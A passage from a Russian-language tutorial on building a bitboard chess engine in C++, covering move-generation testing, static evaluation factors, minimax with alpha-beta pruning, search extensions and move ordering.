if (!PsLegalMoveMaskGen::in_danger(pieces, BitboardOperations::bsf(pieces._piece_bitboards[side][Pieces::King]), side) and !PsLegalMoveMaskGen::in_danger(pieces, 2 + index, side) and !PsLegalMoveMaskGen::in_danger(pieces, 3 + index, side)) moves.push_back({(uint8_t)(4 + index), (uint8_t)(2 + index), Pieces::King, side, 255, 255, long_castling_flag});
}
if (short_castling and BitboardOperations::get_bit(pieces._piece_bitboards[side][Pieces::Rook], 7 + index) and BitboardOperations::get_bit(pieces._empty, 5 + index) and BitboardOperations::get_bit(pieces._empty, 6 + index)) {
if (!PsLegalMoveMaskGen::in_danger(pieces, BitboardOperations::bsf(pieces._piece_bitboards[side][Pieces::King]), side) and !PsLegalMoveMaskGen::in_danger(pieces, 5 + index, side) and !PsLegalMoveMaskGen::in_danger(pieces, 6 + index, side)) moves.push_back({(uint8_t)(4 + index), (uint8_t)(6 + index), Pieces::King, side, 255, 255, short_castling_flag});
}
}
```
Метод генерации ходов-взятий на проходе выглядит довольно не оптимальным, но он работает довольно редко из-за чего потерь в производительности почти нет.
Поиск ошибок
------------
Было написано очень много кода и хорошо бы было поискать в нем ошибки. Существует способ сделать это довольно просто. Нужно взять какую-то позицию, после чего посчитать к скольким позициям можно прийти из этой спустя n ходов, а затем сверить эту информацию с информацией, полученной другими шахматными программистами.
Но какую позицию выбрать для теста? Самым банальным было бы взять стандартную, но толка от такого тестирования будет мало, ведь многие ошибки могут быть не выявлены на таком раннем этапе игры. Я выбрал эту позицию:
Она особенна тем, что когда-то давно вызвала ошибки во многих движках.
После того как мы определились с позицией можно начать писать тесты. Вот этот небольшой "класс" поможет протестировать наш код:
```
#include
#include
#include "LegalMoveGen.hpp"
#pragma once
class LegalMoveGenTester {
public:
static void test();
private:
static uint64\_t \_get\_nodes\_number(const Position& position, uint8\_t side, uint32\_t depth);
static constexpr std::string\_view Fen = "rnbq1k1r/pp1Pbppp/2p5/8/2B5/8/PPP1NnPP/RNBQK2R";
static constexpr uint8\_t EnPassant = 255;
static constexpr bool WLCastling = true;
static constexpr bool WSCastling = true;
static constexpr bool BLCastling = false;
static constexpr bool BSCastling = false;
static constexpr std::array Nodes = {1, 44, 1486, 62379, 2103487, 89941194};
};
```
```
#include "LegalMoveGenTester.hpp"
#define nsecs std::chrono::high_resolution_clock::now().time_since_epoch().count()
void LegalMoveGenTester::test() {
Position position = {(std::string)LegalMoveGenTester::Fen, LegalMoveGenTester::EnPassant, LegalMoveGenTester::WLCastling, LegalMoveGenTester::WSCastling, LegalMoveGenTester::BLCastling, LegalMoveGenTester::BSCastling, 1};
uint64_t correct;
uint64_t got;
uint64_t time_start;
float speed;
for (uint32_t i = 0; i < 6; i = i + 1) {
time_start = nsecs;
correct = LegalMoveGenTester::Nodes[i];
got = LegalMoveGenTester::_get_nodes_number(position, Pieces::White, i);
speed = (float)got / ((float)(nsecs - time_start) / (float)1e+9) / (float)1e+6;
if (correct == got) std::cout << ANSI::Green << "Depth " << std::setw(4) << i << ". Correct: " << std::setw(18) << correct << ". Got: " << std::setw(18) << got << ". Speed: " << std::setw(10) << speed << " MNPS. OK." << ANSI::End << std::endl;
else std::cout << ANSI::Red << "Depth " << std::setw(4) << i << ". Correct: " << std::setw(18) << correct << ". Got: " << std::setw(18) << got << ". Speed: " << std::setw(10) << speed << " MNPS. Error." << ANSI::End << std::endl;
}
}
uint64_t LegalMoveGenTester::_get_nodes_number(const Position& position, uint8_t side, uint32_t depth) {
if (depth == 0) return 1;
uint64_t ctr = 0;
Position copy = position;
MoveList moves = LegalMoveGen::generate(copy, side);
Move move;
for (uint8_t i = 0; i < moves.size(); i = i + 1) {
move = moves[i];
copy = position;
copy.move(move);
ctr = ctr + LegalMoveGenTester::_get_nodes_number(copy, Pieces::inverse(side), depth - 1);
}
return ctr;
}
```
Сейчас этот тест у меня, разумеется, выдает правильный результат, но получилось это не сразу.
Введение в шахматный ИИ
-----------------------
Спустя столько слов мы добрались до самого, на мой взгляд, интересного - программирование ИИ. Надеюсь, до этого места кто-то дочитал.
Типичный шахматный ИИ состоит из двух частей: статической и динамической оценки.
Статическая оценка извлекает внешние признаки из позиции. Смотрит на количество фигур, считает различные пешечные бонусы и т.д.
Динамическая оценка ищет комбинации и, как правило, использует статическую. Именно она понимает, что после такого хода белые потеряют ферзя, после другого у черных появится проходная пешка, а после этого будет пат.
Статическая оценка
------------------
Сейчас нужно разобраться с первой частью шахматного ИИ, а именно - со статической оценкой.
Давайте подумаем о том, что мы хотим получить. А получить мы хотим функцию, принимающую позицию, а возвращающую число. Причем чем больше число, тем лучше позиция для белых, а чем меньше число, тем лучше позиция для черных. Измерять оценку принято в сотых единицах пешки, так что если у белых перевес в две пешки, то оценка будет +200, а если у черных перевес в одну, то -100.
Материал
--------
Первый фактор, самый очевидный и самый важный - материал. Материал показывает количество фигур. Чтобы учитывать материал надо обозначить для каждой фигуры ее стоимость. Я нашел на Википедии вот такую оценку фигур и решил ее использовать:
```
struct Material {
static constexpr int32_t Pawn = 100;
static constexpr int32_t Knight = 305;
static constexpr int32_t Bishop = 333;
static constexpr int32_t Rook = 563;
static constexpr int32_t Queen = 950;
};
```
Посчитать материал очень просто, особенно при использовании битбордов:
```
int32_t StaticEvaluator::_material(Pieces pieces) {
int32_t material = 0;
material = material + StaticEvaluator::Material::Pawn * (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Pawn]) - BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn]));
material = material + StaticEvaluator::Material::Knight * (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Knight]) - BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Knight]));
material = material + StaticEvaluator::Material::Bishop * (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Bishop]) - BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Bishop]));
material = material + StaticEvaluator::Material::Rook * (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Rook]) - BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Rook]));
material = material + StaticEvaluator::Material::Queen * (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Queen]) - BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Queen]));
return material;
}
```
Мобильность
-----------
Второй фактор - мобильность. Чем больше развиты фигуры (то есть чем больше полей они бьют), тем лучше. Считать мы будем именно псевдолегальную мобильность (во-первых, генерация легальных ходов у нас значительно медленнее генерации псевдолегальных, во-вторых, легальная мобильность не делает программу значительно сильнее).
После того как стало ясно что это такое, надо подобрать константы для мобильности фигур. Эти значения (как и все дальше) подбирал я своими немного кривыми руками, так что они, вероятно, тоже немного кривые.
```
struct Mobility {
static constexpr int32_t Knight = 9;
static constexpr int32_t Bishop = 4;
static constexpr int32_t Rook = 3;
static constexpr int32_t Queen = 3;
};
```
Реализуется вот так:
```
int32_t StaticEvaluator::_mobility(Pieces pieces) {
int32_t mobility = 0;
std::array, 2> iteration\_masks = pieces.\_piece\_bitboards;
uint8\_t index;
int32\_t knight\_moves = 0;
int32\_t bishop\_moves = 0;
int32\_t rook\_moves = 0;
int32\_t queen\_moves = 0;
while (iteration\_masks[Pieces::White][Pieces::Knight]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::White][Pieces::Knight]);
BitboardOperations::set\_0(iteration\_masks[Pieces::White][Pieces::Knight], index);
knight\_moves = knight\_moves + BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_knight\_mask(pieces, index, Pieces::White, false));
}
while (iteration\_masks[Pieces::White][Pieces::Bishop]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::White][Pieces::Bishop]);
BitboardOperations::set\_0(iteration\_masks[Pieces::White][Pieces::Bishop], index);
bishop\_moves = bishop\_moves + BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_bishop\_mask(pieces, index, Pieces::White, false));
}
while (iteration\_masks[Pieces::White][Pieces::Rook]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::White][Pieces::Rook]);
BitboardOperations::set\_0(iteration\_masks[Pieces::White][Pieces::Rook], index);
rook\_moves = rook\_moves + BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_rook\_mask(pieces, index, Pieces::White, false));
}
while (iteration\_masks[Pieces::White][Pieces::Queen]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::White][Pieces::Queen]);
BitboardOperations::set\_0(iteration\_masks[Pieces::White][Pieces::Queen], index);
queen\_moves = queen\_moves + BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_queen\_mask(pieces, index, Pieces::White, false));
}
while (iteration\_masks[Pieces::Black][Pieces::Knight]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::Black][Pieces::Knight]);
BitboardOperations::set\_0(iteration\_masks[Pieces::Black][Pieces::Knight], index);
knight\_moves = knight\_moves - BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_knight\_mask(pieces, index, Pieces::Black, false));
}
while (iteration\_masks[Pieces::Black][Pieces::Bishop]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::Black][Pieces::Bishop]);
BitboardOperations::set\_0(iteration\_masks[Pieces::Black][Pieces::Bishop], index);
bishop\_moves = bishop\_moves - BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_bishop\_mask(pieces, index, Pieces::Black, false));
}
while (iteration\_masks[Pieces::Black][Pieces::Rook]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::Black][Pieces::Rook]);
BitboardOperations::set\_0(iteration\_masks[Pieces::Black][Pieces::Rook], index);
rook\_moves = rook\_moves - BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_rook\_mask(pieces, index, Pieces::Black, false));
}
while (iteration\_masks[Pieces::Black][Pieces::Queen]) {
index = BitboardOperations::bsf(iteration\_masks[Pieces::Black][Pieces::Queen]);
BitboardOperations::set\_0(iteration\_masks[Pieces::Black][Pieces::Queen], index);
queen\_moves = queen\_moves - BitboardOperations::count\_1(PsLegalMoveMaskGen::generate\_queen\_mask(pieces, index, Pieces::Black, false));
}
mobility = mobility + StaticEvaluator::Mobility::Knight \* knight\_moves;
mobility = mobility + StaticEvaluator::Mobility::Bishop \* bishop\_moves;
mobility = mobility + StaticEvaluator::Mobility::Rook \* rook\_moves;
mobility = mobility + StaticEvaluator::Mobility::Queen \* queen\_moves;
return mobility;
}
```
Сдвоенные пешки
---------------
Третий фактор - сдвоенные пешки. Сдвоенная пешка считается слабостью. В моей программе сдвоенная пешка ухудшает оценку на 25:
```
static constexpr int32_t DoublePawn = -25;
```
Реализуется просто:
```
int32_t StaticEvaluator::_pawn_structure_double_pawn(Pieces pieces) {
int32_t double_pawn = 0;
int32_t double_pawn_ctr = 0;
uint8_t white_pawns;
uint8_t black_pawns;
for (uint8_t x = 0; x < 8; x = x + 1) {
white_pawns = BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Pawn] & BitboardColumns::Columns[x]);
black_pawns = BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Pawn] & BitboardColumns::Columns[x]);
double_pawn_ctr = double_pawn_ctr + std::max(0, white_pawns - 1);
double_pawn_ctr = double_pawn_ctr - std::max(0, black_pawns - 1);
}
double_pawn = double_pawn + StaticEvaluator::PawnStructure::DoublePawn * double_pawn_ctr;
return double_pawn;
}
```
Соединенные пешки
-----------------
Четвертый фактор - соединенные пешки. Соединенная пешка - пешка, защищенная другой. Наличие таких пешек является одним из признаков хорошей пешечной структуры. В моей программе соединенные пешки улучшают оценку на 12:
```
static constexpr int32_t ConnectedPawn = 12;
```
Реализуется очень просто:
```
int32_t StaticEvaluator::_pawn_structure_connected_pawn(Pieces pieces) {
int32_t connected_pawn = 0;
int32_t connected_pawn_ctr = 0;
Bitboard white_captures = PsLegalMoveMaskGen::generate_pawn_left_captures_mask(pieces, Pieces::White, true) | PsLegalMoveMaskGen::generate_pawn_right_captures_mask(pieces, Pieces::White, true);
Bitboard black_captures = PsLegalMoveMaskGen::generate_pawn_left_captures_mask(pieces, Pieces::Black, true) | PsLegalMoveMaskGen::generate_pawn_right_captures_mask(pieces, Pieces::Black, true);
connected_pawn_ctr = connected_pawn_ctr + BitboardOperations::count_1(white_captures & pieces._piece_bitboards[Pieces::White][Pieces::Pawn]);
connected_pawn_ctr = connected_pawn_ctr - BitboardOperations::count_1(black_captures & pieces._piece_bitboards[Pieces::Black][Pieces::Pawn]);
connected_pawn = connected_pawn + StaticEvaluator::PawnStructure::ConnectedPawn * connected_pawn_ctr;
return connected_pawn;
}
```
Продвижение пешек
-----------------
Пятый фактор - продвижение пешек и тут будет кое-что особенное, о чем я упоминал в самом первом разделе. Самым простым способом реализации продвижения пешек было бы добавление всем пешкам бонус за близость к последней для них строке, но это не совсем верно. Проблема (если так можно выразится) заключается в том, что существуют проходные пешки, которых должно значительно сильнее тянуть вперед, чем обычные.
Но как проверить что пешка является проходной? Благодаря битбордам можно заранее рассчитать маски и проверка является ли пешка проходной будет происходить всего за 1-2 операции. Вот код рассчитывающий маски для опознавания проходных пешек:
```
#include
#include "../Base/PositionRepresentation/Bitboard.hpp"
#pragma once
namespace PassedPawnMasks {
static consteval std::array calc\_white\_passed\_pawn\_masks() {
std::array masks{};
for (uint8\_t x = 0; x < 8; x = x + 1) {
for (uint8\_t y = 0; y < 8; y = y + 1) {
for (uint8\_t y1 = y + 1; y1 < 8; y1 = y1 + 1) {
if (x != 0) BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x + 1);
BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x);
}
}
}
return masks;
}
static consteval std::array calc\_black\_passed\_pawn\_masks() {
std::array masks{};
for (uint8\_t x = 0; x < 8; x = x + 1) {
for (uint8\_t y = 0; y < 8; y = y + 1) {
for (int8\_t y1 = y - 1; y1 >= 0; y1 = y1 - 1) {
if (x != 0) BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x + 1);
BitboardOperations::set\_1(masks[y \* 8 + x], y1 \* 8 + x);
}
}
}
return masks;
}
static constexpr std::array WhitePassedPawnMasks = PassedPawnMasks::calc\_white\_passed\_pawn\_masks();
static constexpr std::array BlackPassedPawnMasks = PassedPawnMasks::calc\_black\_passed\_pawn\_masks();
}
```
Используя эти маски, можно легко реализовать этот фактор:
```
int32_t StaticEvaluator::_pawn_structure_pawn_promotion(Pieces pieces) {
int32_t pawn_promotion = 0;
Bitboard white_pawns = pieces._piece_bitboards[Pieces::White][Pieces::Pawn];
Bitboard black_pawns = pieces._piece_bitboards[Pieces::Black][Pieces::Pawn];
uint8_t index;
while (white_pawns) {
index = BitboardOperations::bsf(white_pawns);
BitboardOperations::set_0(white_pawns, index);
if (PassedPawnMasks::WhitePassedPawnMasks[index] & pieces._piece_bitboards[Pieces::Black][Pieces::Pawn]) pawn_promotion = pawn_promotion + StaticEvaluator::PawnStructure::DefaultPawnPromotion[index / 8];
else pawn_promotion = pawn_promotion + StaticEvaluator::PawnStructure::PassedPawnPromotion[index / 8];
}
while (black_pawns) {
index = BitboardOperations::bsf(black_pawns);
BitboardOperations::set_0(black_pawns, index);
if (PassedPawnMasks::BlackPassedPawnMasks[index] & pieces._piece_bitboards[Pieces::White][Pieces::Pawn]) pawn_promotion = pawn_promotion - StaticEvaluator::PawnStructure::DefaultPawnPromotion[7 - index / 8];
else pawn_promotion = pawn_promotion - StaticEvaluator::PawnStructure::PassedPawnPromotion[7 - index / 8];
}
return pawn_promotion;
}
```
Константы я выбрал следующие:
```
static constexpr std::array DefaultPawnPromotion = {0, 0, 0, 0, 10, 20, 30, 0};
static constexpr std::array PassedPawnPromotion = {0, 50, 50, 50, 70, 90, 110, 0};
```
Они показывают, что проходная пешка в 2 раза сильнее хочет дойти до последней строки, чем обычная. Помимо этого любая проходная пешка получает по 50 к оценке просто за то, что она есть.
Потерянная рокировка
--------------------
Шестой фактор - потерянная рокировка. Если король потерял рокировку не рокировавшись, то это считается серьезной слабостью для безопасности короля. В моей программе сторона ухудшает свою оценку на 50 за каждую потерянную рокировку:
```
static constexpr int32_t CrashedCastling = -50;
```
Реализуется предельно просто:
```
int32_t StaticEvaluator::_king_safety_crashed_castling(bool w_l_castling, bool w_s_castling, bool b_l_castling, bool b_s_castling, bool white_castling_happened, bool black_castling_happened) {
int32_t crashed_castling = 0;
if (!white_castling_happened) {
if (!w_l_castling) crashed_castling = crashed_castling + StaticEvaluator::KingSafety::CrashedCastling;
if (!w_s_castling) crashed_castling = crashed_castling + StaticEvaluator::KingSafety::CrashedCastling;
}
if (!black_castling_happened) {
if (!b_l_castling) crashed_castling = crashed_castling - StaticEvaluator::KingSafety::CrashedCastling;
if (!b_s_castling) crashed_castling = crashed_castling - StaticEvaluator::KingSafety::CrashedCastling;
}
return crashed_castling;
}
```
Пешечный щит
------------
Седьмой фактор - пешечный щит. Пешечный щит - один из самых простых способов реализации безопасности короля. Идея заключается в том, что после рокировки важно сохранять пешки на следующих двух строках. В моей программе сторона улучшает свою оценку на 33 за каждую такую пешку:
```
static constexpr int32_t PawnShield = 33;
```
Для быстрого вычисления этого фактора имеет смысл рассчитать маски пешечных щитов заранее:
```
#include
#include "../Base/PositionRepresentation/Bitboard.hpp"
#pragma once
namespace PawnShieldMasks {
static consteval std::array calc\_white\_pawn\_shield\_masks() {
std::array white\_pawn\_shield\_masks{};
for (uint8\_t x = 0; x < 8; x = x + 1) {
for (uint8\_t y = 0; y < 7; y = y + 1) {
if (x != 0) BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 1) \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 1) \* 8 + x + 1);
BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 1) \* 8 + x);
if (y != 6) {
if (x != 0) BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 2) \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 2) \* 8 + x + 1);
BitboardOperations::set\_1(white\_pawn\_shield\_masks[y \* 8 + x], (y + 2) \* 8 + x);
}
}
}
return white\_pawn\_shield\_masks;
}
static consteval std::array calc\_black\_pawn\_shield\_masks() {
std::array black\_pawn\_shield\_masks{};
for (uint8\_t x = 0; x < 8; x = x + 1) {
for (uint8\_t y = 1; y < 8; y = y + 1) {
if (x != 0) BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 1) \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 1) \* 8 + x + 1);
BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 1) \* 8 + x);
if (y != 1) {
if (x != 0) BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 2) \* 8 + x - 1);
if (x != 7) BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 2) \* 8 + x + 1);
BitboardOperations::set\_1(black\_pawn\_shield\_masks[y \* 8 + x], (y - 2) \* 8 + x);
}
}
}
return black\_pawn\_shield\_masks;
}
static constexpr std::array WhitePawnShieldMasks = PawnShieldMasks::calc\_white\_pawn\_shield\_masks();
static constexpr std::array BlackPawnShieldMasks = PawnShieldMasks::calc\_black\_pawn\_shield\_masks();
}
```
Далее реализовать этот фактор можно тоже очень просто:
```
int32_t StaticEvaluator::_king_safety_pawn_shield(Pieces pieces, bool white_castling_happened, bool black_castling_happened) {
int32_t pawn_shield = 0;
int32_t pawn_shield_ctr = 0;
if (white_castling_happened) {
Bitboard white_pawns = pieces._piece_bitboards[Pieces::White][Pieces::Pawn];
Bitboard white_pawn_shield = PawnShieldMasks::WhitePawnShieldMasks[BitboardOperations::bsf(pieces._piece_bitboards[Pieces::White][Pieces::King])];
pawn_shield_ctr = pawn_shield_ctr + BitboardOperations::count_1(white_pawns & white_pawn_shield);
}
if (black_castling_happened) {
Bitboard black_pawns = pieces._piece_bitboards[Pieces::Black][Pieces::Pawn];
Bitboard black_pawn_shield = PawnShieldMasks::BlackPawnShieldMasks[BitboardOperations::bsf(pieces._piece_bitboards[Pieces::Black][Pieces::King])];
pawn_shield_ctr = pawn_shield_ctr - BitboardOperations::count_1(black_pawns & black_pawn_shield);
}
pawn_shield = pawn_shield + StaticEvaluator::KingSafety::PawnShield * pawn_shield_ctr;
return pawn_shield;
}
```
Два слона
---------
Восьмой фактор - два слона. Если игрок смог сохранить двух слонов, то за это стоит улучшить оценку, так как два слона вместе могут отрезать пешки или короля. В моей программе два слона улучшают оценку на 50:
```
static constexpr int32_t TwoBishops = 50;
```
Реализуется очень просто:
```
int32_t StaticEvaluator::_two_bishops(Pieces pieces) {
int32_t two_bishops = 0;
if (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::White][Pieces::Bishop]) >= 2) two_bishops = two_bishops + StaticEvaluator::TwoBishops;
if (BitboardOperations::count_1(pieces._piece_bitboards[Pieces::Black][Pieces::Bishop]) >= 2) two_bishops = two_bishops - StaticEvaluator::TwoBishops;
return two_bishops;
}
```
Особая оценка для эндшпиля
--------------------------
В эндшпиле компьютерные программы часто испытывают трудности, так как даже такой примитивный эндшпиль как король с ферзем против короля может содержать мат в 20-30 ходов, что не могут увидеть даже самые оптимизированные движки.
Одним из решений является подключение таблиц Налимова или таблиц syzygy - баз данных где хранятся стратегии для многих эндшпилей. При помощи этих баз ИИ может играть совершенно идеально, но у этих баз есть много недостатков. Один из них - сложность с подключением. Подключить какой-нибудь syzygy будет труднее, чем все, что вы прочитали до этого. Другой, более серьезный, - огромный размер. Эти БД могут весить терабайты, что не очень подходит для подобных движков.
Другим решением является особая оценка для эндшпиля. Она учитывает близость короля побеждающей стороны к королю проигрывающей, а также расстояние проигрывающего короля от центра:
```
static constexpr int32_t AttackerKingProximityToDefenderKing = 10;
static constexpr int32_t DistanceBetweenDefenderKingAndMiddle = 10;
```
Но что такое эндшпиль? В моей программе это когда остается менее 9 фигур:
```
static constexpr int32_t MaximumPiecesForEndgame = 8;
```
Реализовывается эндшпильная оценка просто:
```
int32_t StaticEvaluator::_endgame(Pieces pieces, bool white_leading) {
int32_t endgame = 0;
if (BitboardOperations::count_1(pieces._all) > StaticEvaluator::Endgame::MaximumPiecesForEndgame) return endgame;
uint8_t attacker_side;
uint8_t defender_side;
if (white_leading) {
attacker_side = Pieces::White;
defender_side = Pieces::Black;
}
else {
attacker_side = Pieces::Black;
defender_side = Pieces::White;
}
uint8_t attacker_king_p = BitboardOperations::bsf(pieces._piece_bitboards[attacker_side][Pieces::King]);
uint8_t attacker_king_x = attacker_king_p % 8;
uint8_t attacker_king_y = attacker_king_p / 8;
uint8_t defender_king_p = BitboardOperations::bsf(pieces._piece_bitboards[defender_side][Pieces::King]);
uint8_t defender_king_x = defender_king_p % 8;
uint8_t defender_king_y = defender_king_p / 8;
endgame = endgame + StaticEvaluator::Endgame::AttackerKingProximityToDefenderKing * (16 - std::abs(attacker_king_x - defender_king_x) - std::abs(attacker_king_y - defender_king_y));
endgame = endgame + StaticEvaluator::Endgame::DistanceBetweenDefenderKingAndMiddle * (std::abs(defender_king_x - 3) + std::abs(defender_king_y - 4));
if (!white_leading) endgame = -endgame;
return endgame;
}
```
Минимакс
--------
Мы закончили писать статическую оценку. Теперь самое время поговорить о динамической. Самой основой является минимакс алгоритм. Его идея очень проста: мы просто ищем наилучший ход для нашей стороны с предположением, что противник тоже будет делать наилучшие ходы. Вот псевдокод такого алгоритма:
```
int maxi( int depth ) {
if ( depth == 0 ) return evaluate();
int max = -oo;
for ( all moves) {
score = mini( depth - 1 );
if( score > max )
max = score;
}
return max;
}
int mini( int depth ) {
if ( depth == 0 ) return evaluate();
int min = +oo;
for ( all moves) {
score = maxi( depth - 1 );
if( score < min )
min = score;
}
return min;
}
```
, где depth - количество полуходов на которое мы хотим искать, а evaluate() - функция статической оценки о которой был разговор выше.
Продление шахов
---------------
Улучшить программу можно продлевая шахи. Программа с продлением шахов может находить довольно глубокие матовые комбинации. Идея очень простая - если шах, то глубину не уменьшаем. Это не взрывает дерево поиска, так как шахи встречаются редко и при них доступно мало ходов.
Альфа-бета отсечение
--------------------
Коэффициент ветвление шахмат - 40. Это значит, что после каждого хода есть в среднем 40 ответных ходов. В дебюте и эндшпиле этот показатель куда ниже, но в середине игры - 40. Теперь, используя эти данные, предлагаю посчитать сколько надо будет оценить позиций после 20 полуходов:
Это огромное число, даже если бы можно было оценивать трилларды позиций в секунду, что в миллионы раз больше вычислительной мощности всей планеты, то мы бы не успели даже за год. Однако, такие топовые движки как Stockfish умудряются считать на такую глубину за секунды. Очевидно, что Stockfish не оценивает все десять в тридцатой степени позиций.
Один из эффективнейших способов пропустить большинство позиций в минимаксе - альфа-бета отсечение. Идея заключается в том, что если мы понимаем, что оценка на текущей ветви по-любому будет хуже оценки на предыдущей, то считать дальше нет смысла. Внизу есть иллюстрация из Википедии, она довольно наглядная:
На картинке видно, что в самом вверху мы ищем максимум трех чисел (3, 6, 5). Эти три числа получаются из минимума других двух чисел, но минимум последней ветви мы считаем не полностью, так как изначально у нас попалась пятерка и независимо от того, что пойдет дальше эта ветвь не подходит, так как результат будет не больше 5, а для изменения максимума с 6 на что-то другое нужно 7 или больше.
Вот псевдокод:
```
int alphaBetaMax( int alpha, int beta, int depthleft ) {
if ( depthleft == 0 ) return evaluate();
for ( all moves) {
score = alphaBetaMin( alpha, beta, depthleft - 1 );
if( score >= beta )
return beta; // fail hard beta-cutoff
if( score > alpha )
alpha = score; // alpha acts like max in MiniMax
}
return alpha;
}
int alphaBetaMin( int alpha, int beta, int depthleft ) {
if ( depthleft == 0 ) return evaluate();
for ( all moves) {
score = alphaBetaMax( alpha, beta, depthleft - 1 );
if( score <= alpha )
return alpha; // fail hard alpha-cutoff
if( score < beta )
beta = score; // beta acts like min in MiniMax
}
return beta;
}
```
Для запуска поиска надо вызвать одну из этих функций (зависит от цвета стороны) с alpha равной отрицательной бесконечности и beta равной положительной бесконечности.
Продление взятий
----------------
Представим следующую ситуацию. Происходит анализ позиции с глубиной 8. Особо выделяется одна ветка и одна группа веток. Ветка интересно тем, что на 8 глубине мы забираем ферзя, а группа веток интересна тем, что на 2 глубине мы выигрываем коня. ИИ, естественно, выберет ветку с выигрышем ферзя, а не что-то из группы веток где мы выигрываем коня. Но это будет неправильная оценка, так как коня мы реально выигрывали, а на 9 глубине ветки с выигрышем ферзя забирали нашего ферзя, то есть никакого выигрыша не было.
Такой эффект называется эффектом горизонта. Казалось бы, что мы можем сделать, нашему ИИ просто не хватило глубины, но в этом суждении сразу две ошибки: увеличение глубины тут не поможет (подобные конфузы просто станут происходить на более глубокой глубине), а сделать с этим как раз есть что.
Идея в том, что после завершения основного поиска не возвращать статическую оценку, а запускать новый без лимита по глубине, но с рассмотрением только взятий. Разумеется, если взятия не улучшают оценку, то надо прерывать такой просмотр, а не возвращать оценку после всех взятий.
Сортировка ходов
----------------
Эффективность альфа-бета отсечения зависит от порядка ходов. Если ходы отсортированы от лучшего к худшему, то можно оценить только чуть больше корня от общего числа комбинаций, а это очень мало. С другой стороны, если ходы будут отсортированы от худшего к лучшему, то мы вообще не получим никакого профита от альфа-бета отсечения.
Зная это, надо постараться отсортировать ходы от лучшего к худшему. Это, естественно, вряд-ли получится, но приличное преимущество можно получить.
Для сортировки ходов можно воспользоваться принципом наиболее ценная жертва - наименее ценный нападающий. Идея в том, что съесть пешкой ферзя, как правило, гораздо выгоднее, чем наоборот. Согласно этому принципу, все взятия помещаются вперед и сортируются при помощи этого принципа, а тихие ходы остаются в конце.
Но как сортировать тихие ходы? Существует один способ. Он не такой эффективный как сортировка взятий, но тоже позволяет отсечь часть ходов. Идея в том, что двигать фигуру под пешку противника обычно плохая идея.
Зная все это, можно написать простую сортировку пузырьком. Она работает за квадрат, но ходов не так много из-за чего сортировка даже с плохой асимптотикой работает быстро:
```
#include "MoveSorter.hpp"
MoveList MoveSorter::sort(Pieces pieces, MoveList moves) {
for (uint8_t i = 0; i < moves.size() - 1; i = i + 1) {
for (uint8_t j = 0; j < moves.size() - i - 1; j = j + 1) {
if (MoveSorter::_evaluate_move(pieces, moves[j]) < MoveSorter::_evaluate_move(pieces, moves[j + 1])) std::swap(moves[j], moves[j + 1]);
}
}
return moves;
}
int32_t MoveSorter::_evaluate_move(Pieces pieces, Move move) {
int32_t evaluation = 0;
if (move._attacker_type != Pieces::Pawn) {
Bitboard opponent_pawn_attacks = PsLegalMoveMaskGen::generate_pawn_left_captures_mask(pieces, Pieces::inverse(move._attacker_side), true) | PsLegalMoveMaskGen::generate_pawn_right_captures_mask(pieces, Pieces::inverse(move._attacker_side), true);
if (BitboardOperations::get_bit(opponent_pawn_attacks, move._to)) {
switch (move._attacker_type) {
case Pieces::Knight: evaluation = evaluation - StaticEvaluator::Material::Knight; break;
case Pieces::Bishop: evaluation = evaluation - StaticEvaluator::Material::Bishop; break;
case Pieces::Rook: evaluation = evaluation - StaticEvaluator::Material::Rook; break;
case Pieces::Queen: evaluation = evaluation - StaticEvaluator::Material::Queen; break;
// Король не может быть на поле, битое пешкой противника.
}
}
}
if (move._defender_type != 255) {
switch (move._defender_type) {
case Pieces::Pawn: evaluation = evaluation + 1000 * StaticEvaluator::Material::Pawn; break;
case Pieces::Knight: evaluation = evaluation + 1000 * StaticEvaluator::Material::Knight; break;
